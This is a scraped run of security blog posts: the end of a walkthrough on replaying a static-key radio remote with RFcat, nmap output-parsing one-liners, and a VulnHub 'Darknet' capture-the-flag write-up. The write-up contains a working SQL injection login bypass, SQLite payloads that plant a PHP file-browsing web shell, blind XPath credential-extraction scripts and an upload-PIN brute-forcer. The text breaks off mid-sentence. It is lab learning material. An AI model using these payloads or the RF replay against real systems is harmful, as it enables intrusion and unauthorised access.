graph and check if your file has been written in the location you specified:\n~ # ls -lah remote.wav -rw-r--r-- 1 root root 7.2M Oct 3 22:07 remote.wav Great. If you need to re-use this file at a later stage in gnuradio, simply add a File Source / Wave File Source block as needed and reconnect the other blocks where appropriate.\nviewing in audacity If you saved the demodulated wave file, then you can open this file in Audacity. Simply launch audacity (we already installed it) and open the recorded wave file. Viewing the recording at first may look something like this:\n  However, when you zoom in a little, you may start seeing the on-off keying becoming obvious:\n  Admittedly, getting this far was relatively easy thanks to the ton of research out there already!\nintroducing rfcat I guess the main reason why I decided on the YARD Stick One was because of the fact that it comes pre-flashed with the RFcat firmware. It was only after the fact that I realized its actually a pretty good RF device in general. There are some other radios (maybe cheaper?) that you can flash to work with RFCat such as the CC1111emk dongle or the dongle that comes with the Chronos watch development kit. The RFCat wiki also has a list of compatible dongles.\nAs for RFcat itself, I guess the most important thing to realize is that you effectively have a python interface to the underlying radio when using it. Admittedly, there isn\u0026rsquo;t a lot of documentation for RFCat and you may very quickly come to realize that you will have to make use of the help() strings and the source code of rflib to learn the necessary. This coupled with existing projects and work online doesn\u0026rsquo;t make it too hard to get going.\nTo give you an idea, below is a sample snippet of starting rfcat in \u0026lsquo;research\u0026rsquo; (-r) mode and sending a string as a \u0026lsquo;ping\u0026rsquo; packet. Using RFcat this way, the object d is used to call methods for the radio:\n  As you can see in the screenshot, there is a banner message giving you some useful hints on how you can interact with the dongle. Methods such as setFreq(), setMdmModulation() etc is all things we will be needing soon™ when we want to start replaying the signal of this remote (and switch on that very bright LED!).\nsending the signal with RFcat As you may have noticed by now, sending signals with RFCat is as simple as d.RFxmit(data='DEADBEEF'). To get the receiver to understand my replay, I didn\u0026rsquo;t think it would be as easy just playing the raw binary string of 111001101101 back. I tested anyways by writing a small script to start sending signals and then captured them using my SDR and gnuradio. The values for the frequency and baud rate is something that you should be able to get from the data sheets of the remote you are attempting to replay. (I will show you how to calculate the baud rate later though). The original script I used was:\n#!/usr/bin/python import rflib d = rflib.RfCat() # Set Modulation. We using On-Off Keying here d.setMdmModulation(rflib.MOD_ASK_OOK) d.makePktFLEN(12) # Set the RFData packet length d.setMdmDRate(3800) # Set the Baud Rate d.setMdmSyncMode(0) # Disable preamble d.setFreq(433920000) # Set the frequency d.RFxmit('111001101101') d.setModeIDLE() I ran this script together with a gnuradio flow graph that was set up to dump the signal to a file. I then used this signal as a source to a Scope Sink that was prefixed with a Complex to Mag block. As expected, with this initial attempt I could not find anything in my graphs that even remotely looked like on-off keying!\n  No easy win here was ok as it forced me to dive a little into the RFCat source code in an attempt to figure out how exactly the data should be sent. I also searched online for examples of how to send data correctly and came across a number of examples to help me.\nTurns out, I need to get my data into bytes to send with RFxmit(). No big deal, lets do just that!\n#!/usr/bin/python import rflib data = '111001101101' # Convert the data to hex rf_data = hex(int(data, 2)) d = rflib.RfCat() # Set Modulation. We using On-Off Keying here d.setMdmModulation(rflib.MOD_ASK_OOK) d.makePktFLEN(len(rf_data)) # Set the RFData packet length d.setMdmDRate(3800) # Set the Baud Rate d.setMdmSyncMode(0) # Disable preamble d.setFreq(433920000) # Set the frequency # Send the data string a few times d.RFxmit(rf_data, repeat=500) d.setModeIDLE() I now added the hex conversation of the original binary string and added the repeat=500 value to RFxmit() to help me find the signal with gnuradio. This was finally what I needed to be able to send data that appeared to look like on-off keying!\n  This was not exactly the same as the signal that I originally captured using the actual remote, but, it was progress, and I believed it to be good progress.\ngetting the on-off keying right I played around quite a bit at this stage with my attempts to represent the same waveform as the ones captured from the remote I am trying to replicate. I made a major breakthrough when I came across this blog post where the author explains a method in which to accurately convert the signal into a true on-off keying waveform. The general idea being that you should take note of the smallest distance of amplitude and use that as a single binary digit. You then count the bits relative to this distance and convert to them to a 1 for a high amplitude and a 0 for a low amplitude. Effectively we are simply calculating the Pulse-width Modulation key for our binary code manually now.\nSo to replicate this in my example, I went back to the original wave file I recorded and extracted a single full pulse:\n  One important difference that I noticed with my remote compared to many similar posts I saw online was that I had this long starting high amplitude before the actual on-off keying signal started. It looked like about half of a pulse was this high amplitude, and the other half signal. I assumed these will all just be handled by adding a bunch of 1\u0026rsquo;s in front of my final key as it may have served as some form of preamble or something. ¯\\_(ツ)_/¯\n  If you look closely at the above image, you would notice that the second half of the pulse is divided up into equal length sections that are of similar size as that of the smallest pulse. This size can be seen as the clock signal.\nThe distance of a high pulse followed by a low pulse (relative to the clock signal) signifies the bits that is being transferred. This is actually also known as Pulse-width Modulation. Applying this logic (as shown in the screenshot where the bits are filled in) to the waveform, we can deduce that the Pulse-width Modulation key (without the prefix of the 35 1\u0026rsquo;s and the 0) is:\n# PWM Key version of 111001101101 100100100110110100100110100100110100 If we take an even closer look at the above PWM key, one might even notice that in relation to the waveform, the bit strings 1\u0026rsquo;s and 0\u0026rsquo;s are represented as 100 for a 1 and 110 for a 0 to form the full PWM key. We can visualize this logic in the below snippet where the PWM key is separated by a | and the original bitstring is filled in below it:\n# PWM to Bitstring comparison 100 | 100 | 100 | 110 | 110 | 100 | 100 | 110 | 100 | 100 | 110 | 100 1 1 1 0 0 1 1 0 1 1 0 1 This matches our initial bit string of 111001101101, and helps us conclude that for a full PWM key (with the leading bunch of 1\u0026rsquo;s) the resultant key would be:\n# Full PWM Key 111111111111111111111111111111111110100100100110110100100110100100110100 baud rate hate Before I get to the rest of the newly updated script, lets talk about baud rate quickly. This is something that caused me a lot of pain. I managed to get the original waveform from my remote and my generated waveform using scripts to look similar, but there was a serious issue with getting the length of the pulses to match. If you look closely at the below screenshot you will notice there is actually a problem with the key too (missing a bit), but heh, the clock signal is whats important here:\n  This problem existed until I finally managed to figure out what the math for the baud rate calculation was. I noticed that this value is not an exact science though. You can be off by quite a lot, and yet the signal will still have a high change of succeeding. YMMV.\nUnfortunately I can not remember the post / code that lead me to this, but the basic idea for calculating baud rate is as follows:\n The source wave file would have been recorded at a certain Sample Rate. We recorded at a sample rate of 2M from gnuradio. We want to figure out how many samples makes up the distance of the shortest high aptitude in the pulse (much like we needed for the PWM key calculation) The number of samples in the shortest high amplitude bit, divided by the sample rate over 1 should give you the baud rate.  In other words:\nbaud = (1.0 / (length of shortest high peak / sample rate)) Practically, you can determine the values needed for the formula by opening a wave file you recorded using gnuradio, zooming and selecting one of the short pulses and changing the selection at the bottom dropdown to length and samples.\n  Here you can see my sample range for the shortest high peak is 740 samples, and on the far left you can see the sample rate of 2000000. That means that my baud rate will be 1.0/(740/2000000), which is ~2702 baud. Not 100% accurate, but accurate enough to work.\nlet there be light One last hurdle! I had some troubles with the conversions to hex for the long bit string as a result of the PWM conversion. Thankfully, I came across the bitstring module to handle the conversion to bytes. What a fantastic library :P\nThe final, updated script follows:\n#!/usr/bin/python # Send a PWM String using RfCat import rflib import bitstring # That prefix string. This was determined by literally # just looking at the waveform, and calculating it relative # to the clock signal value. # Your remote may not need this. prefix = '111111111111111111111111111111111110' # The key from our static key remote. key = '111001101101' # Convert the data to a PWM key by looping over the # data string and replacing a 1 with 100 and a 0 # with 110 pwm_key = ''.join(['100' if b == '1' else '110' for b in key]) # Join the prefix and the data for the full pwm key full_pwm = '{}{}'.format(prefix, pwm_key) print('Sending full PWM key: {}'.format(full_pwm)) # Convert the data to hex rf_data = bitstring.BitArray(bin=full_pwm).tobytes() # Start up RfCat d = rflib.RfCat() # Set Modulation. We using On-Off Keying here d.setMdmModulation(rflib.MOD_ASK_OOK) # Configure the radio d.makePktFLEN(len(rf_data)) # Set the RFData packet length d.setMdmDRate(2702) # Set the Baud Rate d.setMdmSyncMode(0) # Disable preamble d.setFreq(433920000) # Set the frequency # Send the data string a few times d.RFxmit(rf_data, repeat=25) d.setModeIDLE() I ran this newly updated script and BAM, my labs LED light illuminates! \\o/\n  resources Below is basically a link dump of stuff that was super helpful in getting as far as I did with this. These posts may help clear things up that made no sense in this post!\nGeneral On-off keying stuff:\n http://andrewmohawk.com/2012/09/06/hacking-fixed-key-remotes/ https://zeta-two.com/radio/2015/06/23/ook-ask-sdr.html http://www.rtl-sdr.com/using-a-yardstick-one-hackrf-and-inspectrum-to-decode-and-duplicate-an-ook-signal/ https://blog.compass-security.com/2016/09/software-defied-radio-sdr-and-decoding-on-off-keying-ook/ http://leetupload.com/blagosphere/index.php/2014/02/24/non-return-to-zero-askook-signal-replay/ http://adamsblog.aperturelabs.com/2013/03/you-can-ring-my-bell-adventures-in-sub.html http://dani.foroselectronica.es/rfcat-ti-chronos-and-replaying-rf-signals-337/  Sample code:\n https://github.com/AndrewMohawk/RfCatHelpers https://github.com/ade-ma/LibOut/blob/master/scripts/rfcat-libout.py https://github.com/alextspy/rolljam/blob/master/rf_car_jam.py  further work With that done, I set off to write a toolkit that allows you to work with rfcat and On-off keying data sources such as wave files, or just simple recordings from rfcat itself. After finishing the polishing, I\u0026rsquo;ll release it along with a post detailing its internals and usage! In the meantime, keep an eye on this repository https://github.com/leonjza/ooktools\n  Happy hacking!\n","permalink":"https://leonjza.github.io/blog/2016/10/02/reverse-engineering-static-key-remotes-with-gnuradio-and-rfcat/","summary":"\u003cp\u003eAt \u003ca href=\"https://www.defcon.org/html/defcon-24/dc-24-index.html\"\u003edefcon24\u003c/a\u003e this year, I impulsively bought myself some new toys. Amongst what I got included a \u003ca href=\"https://greatscottgadgets.com/yardstickone/\"\u003eYARD Stick One\u003c/a\u003e and a \u003ca href=\"https://greatscottgadgets.com/ubertoothone/\"\u003eUbertooth One\u003c/a\u003e. I already owned a DVB-T dongle much like \u003ca href=\"https://www.amazon.co.uk/Digital-DVB-T-RTL2832U-FC0013B-Receiver/dp/B00NOP0P6W\"\u003ethis one\u003c/a\u003e that I bought at defcon23 the previous year.\u003c/p\u003e\n\u003cp\u003eMy interest in Software Defined Radio has long been one of those where I just felt so overwhelmed with the idea for a very long time that I dare not try it. This, together with the fact that its something I \u003cem\u003etotally\u003c/em\u003e  know nothing about really did make for this bit of research to be pretty daunting at first.\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/re_static_key_banner.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eNonetheless, here is my adventure into reverse engineering a plain static key remote and successfully replaying it from my computer.\u003c/p\u003e","title":"reverse engineering static key remotes with gnuradio and rfcat"},{"content":"Nmap\u0026rsquo;s greppable output is really handy. Saving greppable output from a scan means the output is delimited in a way that can be easily processed using tools such as grep, sed, cut and awk.\n  This post shows a few examples of post scan processing of the greppable output produced with the -oG flag. A more up to date repository with examples and command explanations can be found in my awesome-nmap-grep github repository.\nkeep in mind All of the below commands assume an environment variable NMAP_FILE is set. This is simply the location of the output from nmaps -oG.\nCount Number of Open Ports command NMAP_FILE=output.grep egrep -v \u0026#34;^#|Status: Up\u0026#34; $NMAP_FILE | cut -d\u0026#39; \u0026#39; -f2 -f4- | \\ sed -n -e \u0026#39;s/Ignored.*//p\u0026#39; | \\ awk -F, \u0026#39;{split($0,a,\u0026#34; \u0026#34;); printf \u0026#34;Host: %-20s Ports Open: %d\\n\u0026#34; , a[1], NF}\u0026#39; \\ | sort -k 5 -g output Host: 127.0.0.1 Ports Open: 16 Top 10 Open Ports command NMAP_FILE=output.grep egrep -v \u0026#34;^#|Status: Up\u0026#34; $NMAP_FILE | cut -d\u0026#39; \u0026#39; -f4- | \\ sed -n -e \u0026#39;s/Ignored.*//p\u0026#39; | tr \u0026#39;,\u0026#39; \u0026#39;\\n\u0026#39; | sed -e \u0026#39;s/^[ \\t]*//\u0026#39; | \\ sort -n | uniq -c | sort -k 1 -r | head -n 10 output 1 9001/open/tcp//tor-orport?/// 1 9000/open/tcp//cslistener?/// 1 8080/open/tcp//http-proxy/// 1 80/open/tcp//http//Caddy/ 1 6379/open/tcp//redis//Redis key-value store/ 1 631/open/tcp//ipp//CUPS 2.1/ 1 6234/open/tcp///// 1 58377/filtered/tcp///// 1 53/open/tcp//domain//dnsmasq 2.76/ 1 49153/open/tcp//mountd//1-3/ Hosts and Open Ports command NMAP_FILE=output.grep egrep -v \u0026#34;^#|Status: Up\u0026#34; $NMAP_FILE | cut -d\u0026#39; \u0026#39; -f2 -f4- | \\ sed -n -e \u0026#39;s/Ignored.*//p\u0026#39; | \\ awk \u0026#39;{print \u0026#34;Host: \u0026#34; $1 \u0026#34; Ports: \u0026#34; NF-1; $1=\u0026#34;\u0026#34;; for(i=2; i\u0026lt;=NF; i++) { a=a\u0026#34; \u0026#34;$i; }; split(a,s,\u0026#34;,\u0026#34;); for(e in s) { split(s[e],v,\u0026#34;/\u0026#34;); printf \u0026#34;%-8s %s/%-7s %s\\n\u0026#34; , v[2], v[3], v[1], v[5]}; a=\u0026#34;\u0026#34; }\u0026#39; output Host: 127.0.0.1 Ports: 16 open tcp/22 ssh open tcp/53 domain open tcp/80 http open tcp/443 https open tcp/631 ipp open tcp/3306 mysql open tcp/4767 unknown open tcp/6379 open tcp/8080 http-proxy open tcp/8081 blackice-icecap open tcp/9000 cslistener open tcp/9001 tor-orport open tcp/49152 unknown open tcp/49153 unknown filtered tcp/54695 filtered tcp/58369 As mentioned in the beginning, more up to date examples are available in the awesome-nmap-grep github repository.\n","permalink":"https://leonjza.github.io/blog/2016/07/09/awesome-nmap-grep/","summary":"\u003cp\u003eNmap\u0026rsquo;s greppable output is really handy. Saving greppable output from a scan means the output is delimited in a way that can be easily processed using tools such as \u003ccode\u003egrep\u003c/code\u003e, \u003ccode\u003esed\u003c/code\u003e, \u003ccode\u003ecut\u003c/code\u003e and \u003ccode\u003eawk\u003c/code\u003e.\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/nmap-project-logo.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eThis post shows a few examples of post scan processing of the greppable output produced with the \u003ccode\u003e-oG\u003c/code\u003e flag. A more up to date repository with examples and command explanations can be found in my \u003ca href=\"https://github.com/leonjza/awesome-nmap-grep\"\u003eawesome-nmap-grep\u003c/a\u003e github repository.\u003c/p\u003e","title":"awesome nmap grep"},{"content":"Its been a while since I have done a vulnerable boot2root from @VulnHub. So, I decided to pick up where I last left. After paging back from the latest VM\u0026rsquo;s to where I roughly stopped last year, my attention was drawn to Darknet by @Q3rv0.\n  This is how I managed to solve a VM that totally kicked my ass! While I was solving this VM, I also tried out a Kali Docker image! This actually worked out great.\ngetting started Starting with these VM\u0026rsquo;s is almost always the same story and Darknet was no different. Pick up the VM\u0026rsquo;s IP address (yes, I still use the VMWare network sniffer sudo /Applications/VMware\\ Fusion.app/Contents/Library/vmnet-sniffer -e vmnet8). 192.168.252.140. On to the nmap!\nroot@kali:~# nmap -v --reason 192.168.252.140 -sV Starting Nmap 7.12 ( https://nmap.org ) at 2016-06-16 20:13 UTC [...] Reason: 998 resets PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack ttl 37 Apache httpd 2.2.22 ((Debian)) 111/tcp open rpcbind syn-ack ttl 37 2-4 (RPC #100000) Just tcp/80 to work with really. tcp/111 did not yield anything interesting at first glance, but the most obvious next step was definitely the web port.\n  888.darknet.com The homepage on the web server I have found so far was not very interesting. I scanned it with gobuster hoping to discover some more directories which revealed the existence of an /access folder.\nroot@kali:~# gobuster -u http://192.168.252.140/ -w /usr/share/wordlists/wfuzz/general/common.txt Gobuster v1.1 OJ Reeves (@TheColonial) ===================================================== [+] Mode : dir [+] Url/Domain : http://192.168.252.140/ [+] Threads : 10 [+] Wordlist : /usr/share/wordlists/wfuzz/general/common.txt [+] Status codes : 200,204,301,302,307 ===================================================== /access (Status: 301) /index (Status: 200) ===================================================== Browsing to http://192.168.252.140/access/ showed that directory indexing was enabled and revealed the 888.darknet.com.backup file.\n  Downloading and inspecting the file, it quickly became apparent that this looked like an Apache Virtual Host configuration.\nroot@kali:~/data/VulnHub/Darknet# cat 888.darknet.com.backup \u0026lt;VirtualHost *:80\u0026gt; ServerName 888.darknet.com ServerAdmin devnull@darknet.com DocumentRoot /home/devnull/public_html ErrorLog /home/devnull/logs \u0026lt;/VirtualHost\u0026gt; I took this as a hint that I would have to hack an entry into my local /etc/hosts to resolve 888.darknet.com to 192.168.252.140. After having done that, we are presented with yet another page with a login.\n  888 authentication bypass Natural instinct has it that when you see login pages like these, you just throw some single quotes at the fields to see what happens. I did exactly this and was pleasantly met with an error response along the lines of unrecognized token: \u0026quot;3590cb8af0bbb9e78c343b52b93773c9\u0026quot;. This just screamed SQL injection! I figured since it seems to be reflecting errors back at the page, sqlmap might just quickly sort out this stage for us without much effort. Nope! After quite a bit of time, I learnt that the SQL injection only appears to be in the username field, but no matter how I tried to get sqlmap to play along, I was inevitably met with [WARNING] POST parameter 'username' is not injectable every time.\nAdmitting defeat, I figured I should stop being lazy and attempt the injection manually. The fact that the error message returned unrecognized token hinted towards the idea that the backend database might be SQLite. This gives me a frame of reference for the SQL dialect to use. Next, the most critical step for the injection to be successful was to try and envision what the query must look like in the backend. I played around quite a bit more, and got he most information out of the error message when I have the value '\u0026quot;1 as a username and any text as a password.\n  Great. So with \u0026quot;\u0026quot;1' and pass='03c7c0ace395d80182db07ae2c30f034'\u0026quot; as the error message, I theorized that the SQL query might be something along the lines of:\nSELECT * FROM users WHERE user='\u0026lt;INJECT\u0026gt;' and pass='\u0026lt;MD5 OF PASS\u0026gt;' In the softwares logic then, there may be a requirement to just have a row return to mark the session as logged in. Makes sense right? :) So, in order to attempt an authentication bypass, I will need to try and get the query manipulated in such a way that the query will return a valid row regardless of the password. In SQL, we can have something like SELECT 1 which will just return 1 in the row set.\nroot@kali:~/data/VulnHub/Darknet# sqlite3 SQLite version 3.8.10.2 2015-05-20 18:17:19 Enter \u0026quot;.help\u0026quot; for usage hints. Connected to a transient in-memory database. Use \u0026quot;.open FILENAME\u0026quot; to reopen on a persistent database. sqlite\u0026gt; SELECT 1; 1 sqlite\u0026gt; With this knowledge, we can imagine that we could have the final query the software will execute look something like this:\nSELECT * FROM users WHERE user='a user' or '1' and pass='\u0026lt;MD5 OF PASS\u0026gt;' In other words, if the injection point is in the user section, the payload we need to execute may be derived as follows:\nSELECT * FROM users WHERE user=' a user' or \u0026lsquo;1 ' and pass='\u0026lt;MD5 OF PASS\u0026gt;'\nThis obviously begs the requirement to have knowledge of a valid user! Well, remember that Apache Virtual host config file? It mentioned that the server admin is devnull@darknet.com. Admittedly, this took me a while to get to (and maybe a bit of a cheat :P), but using a username of devnull will complete the requirements we have to bypass the authentication needed for this page.\nConsidering the injection point and theorized query, we can use a username of devnull' or 1' and any password to login.\nadministrator sql shell After the login bypass, I was presented with a page titled Administrador SQL.\n  I tried a few queries but quickly realized that no output was returned no matter what you gave it.\nWhile researching some of the possibilities with SQLite injection, I came across this blogpost that details a method of writing arbitrary code to a file of our choosing (obviously assuming we have write access there). Considering I had a fictitious SQL shell now, I jumped right into trying this.\nThe first thing I needed to do though was to find a writable directory. The blogpost mentions that uploads/ and cache/ are usually good candidates (and rightfully so), but it did not seem like the paths existed at http://888.darknet.com/uploads/ and http://888.darknet.com/cache/. So I pulled up gobuster again to see if there are any other directories I could potentially use for this.\nroot@kali:~/data/VulnHub/Darknet# gobuster -u http://888.darknet.com/ -w /usr/share/wordlists/wfuzz/general/common.txt Gobuster v1.1 OJ Reeves (@TheColonial) ===================================================== [+] Mode : dir [+] Url/Domain : http://888.darknet.com/ [+] Threads : 10 [+] Wordlist : /usr/share/wordlists/wfuzz/general/common.txt [+] Status codes : 302,307,200,204,301 ===================================================== /css (Status: 301) /img (Status: 301) /includes (Status: 301) ===================================================== 3 hits for /css, /img and /includes. Considering I had the VirtualHost configuration file, I also knew that these paths are most probably relative to the DocumentRoot at /home/devnull/public_html. Now, all I had to do was modify the payload as explained in the blogpost and cross my fingers. Without boring you with the nitty gritty details, I finally managed to figure out that I can write to the /img directory and gain some code execution.\nATTACH DATABASE '/home/devnull/public_html/img/phpinfo.php' as pwn; CREATE TABLE pwn.shell (code TEXT); INSERT INTO pwn.shell (code) VALUES ('\u0026lt;?php phpinfo(); ?\u0026gt;');   Yeah\u0026hellip; look at that. The amount of disable_functions values explain why my initial system() type PHP shells were failing. Nonetheless, I was still able to browse the filesystem with a very rudementary script injected using the SQL shell I still had. The payload was as follows that allowed me to browse around and cat things.\nATTACH DATABASE '/home/devnull/public_html/img/files.php' as pwn; CREATE TABLE pwn.shell (code TEXT); INSERT INTO pwn.shell (code) VALUES (\u0026quot;\u0026lt;?php if($_GET['a'] == 'ls') { print_r(scandir($_GET['p'])); } if($_GET['a'] == 'cat') { print_r(readfile($_GET['p'])); } ?\u0026gt;\u0026quot;); Looking at the phpinfo() output, I also noticed the open_basedir value was set to /etc/apache2:/home/devnull:/tmp. This is kinda what motivated me to slap together that quick file browsing script so that I can see whats so interesting in /etc/apache2 (especially since we already had this one vhost config requirement to get to this stage).\nLastly, I also learnt that we are currently the devnull user on a Debian Linux box\u0026hellip; Weird. I expected something like www-data but ok.\n  Getting back to the /etc/apache2 thing, I found another VirtualHost configuration file there in /etc/apache2/sites-available/. This was done using the files.php script I wrote and toggling the a parameter to ls or cat as needed. I was not able to find anything else interesting thanks to that epic open_basedir setting :/\n  signal8. so much hate. I added another entry to my /etc/hosts and browsed to the new hostname discovered in that configuration file.\n  Poking around with the new website had a few points of interest but nothing that had any obvious bugs. The URL http://signal8.darknet.com/contact.php?id=1 had something funny going on with the id field though I could not confirm if this was another SQL injection bug or not. A robots.txt also existed for this site and had the entry Disallow: /xpanel/. Browsing to this I was met with a login page.\n  The login page too did not seem to have any obvious bugs. Some quick scans with nikto, sqlmap etc did not show me anything I did not already know.\nfast forward many many hours\nEventually, I resorted to fuzzing all of the fields in the new site that I have found. I literally tested all of them, but again let me not bore you with the failed attempts ;) I will however detail the path that lead to success.\nTo fuzz all of the input fields, I fired up BurpSuite, captured the request to http://signal8.darknet.com/contact.php?id=1 and sent it to Intruder.\n  Intruder was configured to use a simple fuzzing wordlist sourced from /usr/share/wordlists/wfuzz/Injections/All_attack.txt on Kali Linux from the wordlists package. Once the attack finished running, I went to the results and sorted them by response size. It was possible to quickly see in this case that those that returned an email address in the body and those that didn\u0026rsquo;t based purely on the size. Using this list, I was able to filter out and realize that the payload of count(/child::node()) managed to return a valid result for the id parameter.\n  The first time I saw this I had no idea how much time I would be spending on this particular bug. In fact, I have never come across this before so this was by far the most educational portion of the challenge for me!\nxpath injection Just googling the term count(/child::node()) quickly revealed that this was something that related to XPath. XPath allows you to query XML datasets much like SQL can query databases. Ok great. Next up was a trip to owasp.org and their article on XPATH Injection. I spent quite a bit of time researching this type of vulnerability. I realized that the case I was dealing with here was blind XPath injection. Much like blind SQL injection, blind XPath injection can also be exploited by running \u0026lsquo;queries\u0026rsquo; that return true/false. The condition for true in this case was the fact that the email address appeared, and false was that it was missing from the response.\nBy far, this PDF was the most useful in getting me to understand the vulnerability in the most depth.\nBefore I could exploit this bug though, I had to come up with a way to test the theories that I was reading about locally. To do this, I copied some XML that I found in one of the articles to start.\n\u0026lt;?xml version=\u0026quot;1.0\u0026quot; encoding=\u0026quot;utf-8\u0026quot;?\u0026gt; \u0026lt;Employees\u0026gt; \u0026lt;Employee ID=\u0026quot;1\u0026quot;\u0026gt; \u0026lt;FirstName\u0026gt;Arnold\u0026lt;/FirstName\u0026gt; \u0026lt;LastName\u0026gt;Baker\u0026lt;/LastName\u0026gt; \u0026lt;UserName\u0026gt;ABaker\u0026lt;/UserName\u0026gt; \u0026lt;Password\u0026gt;SoSecret\u0026lt;/Password\u0026gt; \u0026lt;Type\u0026gt;Admin\u0026lt;/Type\u0026gt; \u0026lt;/Employee\u0026gt; \u0026lt;Employee ID=\u0026quot;2\u0026quot;\u0026gt; \u0026lt;FirstName\u0026gt;Peter\u0026lt;/FirstName\u0026gt; \u0026lt;LastName\u0026gt;Pan\u0026lt;/LastName\u0026gt; \u0026lt;UserName\u0026gt;PPan\u0026lt;/UserName\u0026gt; \u0026lt;Password\u0026gt;NotTelling\u0026lt;/Password\u0026gt; \u0026lt;Type\u0026gt;User\u0026lt;/Type\u0026gt; \u0026lt;/Employee\u0026gt; \u0026lt;/Employees\u0026gt; I then wrote a small PHP script that would allow me to test payloads as if it were injected into the XML on the site I have with the bug. This script looked as follows:\n\u0026lt;?php // Get the argument from the cli $id = $argv[1]; $xpath = '//Employee[@ID=' . $id . ']/UserName'; // Be a little verbose about what the query will look like print 'Injection : ' . $id . PHP_EOL; print 'Xpath : ' . $xpath . PHP_EOL; $xml = simplexml_load_file('test.xml'); print PHP_EOL; // Run the XPath $result = $xml-\u0026gt;xpath($xpath); // Return a result of the XPath was valid etc. print 'Blind:' . PHP_EOL; @print_r((string)$result[0]); print PHP_EOL . PHP_EOL; // Show the raw result of the XPath not filtered print 'Raw:' . PHP_EOL; print_r($result); I studied some XPath functions available on devdocs.io. This reference together with what I read online as well as my small test scenario helped me figure that I could make use of the starts-with() XPath function to test for true/false scenarios. This proved to work in my little test environment.\nroot@kali:~/data/VulnHub/Darknet# php readxml.php \u0026quot;1 and starts-with(name(*[1]),'F')=1\u0026quot; Injection : 1 and starts-with(name(*[1]),'F')=1 Xpath : //Employee[@ID=1 and starts-with(name(*[1]),'F')=1]/UserName Blind: ABaker Raw: Array ( [0] =\u0026gt; SimpleXMLElement Object ( [0] =\u0026gt; ABaker ) ) To test this scenario on Darknet, I took a guess at the node name of the field that is being returned as email considering its an email address that is being returned. It is possible to brute force these names as you will see later. To start testing the feasibility of the blind boolean based injection, I entered the payload 1 and starts-with(email, 'e') into the URL.\n  Boom. The email address is returned! This meant that I could run over a large key space and brute force other parts of the underlying XML, hoping to learn more of its structure. For clarities sake, the starts-with() function will later be expanded to be something like 1 and starts-with(email, 'errorlevel'). Using the payload 2 and starts-with(email, 'd') will also return the devnull@darknet.com email address as that email starts with d which makes the XPath query true.\nI was not going to test all of these characters by hand, nope. I had to figure out what this XML looks like, so I wrote some scripts to help with that. The first script attempts to brute force the names of the current node as well as the parent node. If we have these names we can call them in an XPath query by name. For eg, //parent/current/attribute.\nimport requests import string import sys entry_point = 'http://signal8.darknet.com/contact.php' payloads = { # . == current node and .. == parent node 'CurrentNode': '1 and starts-with(name(.),\u0026quot;{exfil}\u0026quot;)=1', 'ParentNode': '1 and starts-with(name(..),\u0026quot;{exfil}\u0026quot;)=1', } def w(t): sys.stdout.write(t) sys.stdout.flush() for payload_type, payload in payloads.iteritems(): w(\u0026quot;\\n{}: \u0026quot;.format(payload_type)) stop = False exfil = '' while not stop: stop = True for char in string.printable: r = requests.get( entry_point, params={ 'id': payload.format(exfil=(exfil + char)) }) if 'darknet.com' in r.text: exfil += char w(char) stop = False print \u0026quot;\\nDone\u0026quot; The script in action, determining that the XML has the structure //auth/user:\nI was now able to theorize that the XML may have the following structure when calling user information. //auth/user[@id=1]/email where 1 is the ID of the user in question. I knew about the email field as it was almost obvious. I also discovered the username field by guessing. I tried to apply the same brute force logic as I did to the values, but for some reason I was not getting any luck with payloads where I was trying to address attributes by position, such as with [*1] for the first. This did work in my local test environment but not on Darknet. I had everything I needed to get the credentials for login (I think?), but did not have the passwords.\nEventually I wrote another script to take some words from a wordlist and brute the attribute names, hoping to discover some more attributes!\nimport requests import string import sys entry_point = 'http://signal8.darknet.com/contact.php' payload = '1 and starts-with(name(//auth/user[id=1]/{word}),\u0026quot;{word}\u0026quot;)=1' with open('/usr/share/wfuzz/wordlist/general/spanish.txt') as f: for word in f.readlines(): word = word.strip() r = requests.get(entry_point, params={'id': payload.format(word=word)}) if 'darknet.com' in r.text: print 'Found attribute: {word}'.format(word=word) Having noticed a large part of the sites have been in Spanish, I eventually used a Spanish wordlist and found the field name clave with it. Urgh, that was mildly frustrating. Anyways, this script in action:\nFinally. username \u0026amp; clave! As the final piece to this puzzle, I took the original script used to brute force the XML structure and modified the payloads to now brute the values for username and clave! The new payloads were:\n'username': '1 and starts-with((//auth/user[id=1]/username),\u0026quot;{exfil}\u0026quot;)=1', 'password': '1 and starts-with((//auth/user[id=1]/clave),\u0026quot;{exfil}\u0026quot;)=1', The brute force script in action with the new payloads:\nSo the username and password combination that lets you login at http://signal8.darknet.com/xpanel/ is errorlevel / tc65Igkq6DF.\nthe ploy Once you have logged in, you presented with a page with a login to Editor PHP.\n  The link to edit.php had little value as it simply appeared to be a \u0026lsquo;troll\u0026rsquo; page. I guess the humor here is the fact that code/os command execution has been relatively painful and this may have been a sign of hope.\n  When I viewed the page sources for the page I got when I just logged it, I saw a hint to a ploy.php page.\n  Browsing to ploy.php, I was met with a file upload and a series of checkboxes to tick.\n  It very quickly became obvious that you have to select the right combination of checkboxes in order to be allowed to upload anything. Each checkbox had a numeric value, so I copied this out into a script and proceeded to try all of the combinations possible. I knew a combination was correct if the Spanish term Key incorrecta! was not in the response. With some manual fiddling, I also learnt that the key was 4 integers long. Attempting a combination with more or less than 4 keys meant that the HTTP response had La longitud de la clave no es la correcta!\nimport requests import itertools import sys VALUES = [37, 12, 59, 58, 72, 17, 22, 10, 99] PIN = None s = requests.Session() def w(text): sys.stdout.write('\\r' + text) sys.stdout.flush() # Need a valid session before we can continue. print('[+] Logging in') s.post('http://signal8.darknet.com/xpanel/index.php', data={ 'username': 'errorlevel', 'password': 'tc65Igkq6DF', }) print('[+] Bruting PIN Code ...') for c in itertools.permutations(VALUES, 4): w(\u0026quot;{pin}\u0026quot;.format(pin=', '.join(map(str, c)))) r = s.post('http://signal8.darknet.com/xpanel/ploy.php', files={'imag': open('test_image.png', 'rb')}, data={ 'checkbox[]': c, 'Action': 'Upload', }) if 'incorrecta' not in r.text: print('\\n[+] Found pin: {pin}'.format(pin=', '.join(map(str, c)))) break Seeing this script in action would look as follows:\nSo the pin code was 37, 10, 59, 17. Easy.\nThe next obvious step was to try and figure out how we can weaponize this file upload, if at all. The file upload appeared to accept most uploads except for those ending in .php. Uploading 